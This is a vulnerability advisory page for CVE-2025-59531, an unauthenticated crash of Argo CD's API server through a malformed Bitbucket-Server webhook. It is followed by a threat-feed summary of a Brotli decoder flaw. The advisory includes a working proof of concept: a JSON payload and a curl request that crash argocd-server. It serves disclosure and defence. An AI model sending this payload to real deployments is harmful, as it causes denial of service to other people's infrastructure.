CVE-2025-59531

EUVD-2025-31767 · Published Sep 30, 2025

Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details

// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for _, l := range payload.Repository.Links["clone"].([]any) {   // <- unsafe cast
    link := l.(map[string]any)
    ...
}

If links.clone is a string, number, object, or null, the first type assertion panics:
interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

{
  "eventKey": "repo:refs_changed",
  "repository": {
    "name": "guestbook",
    "fullName": "APP/guestbook",
    "links": { "clone": "boom" }
  },
  "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Event-Key: repo:refs_changed' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
    webhook.go:209 +0x1218
...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

Technologies

Argoproj Argo CdArgoproj Argo-Cd

Weaknesses

CWE-703

CVSS scores

v3.17.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.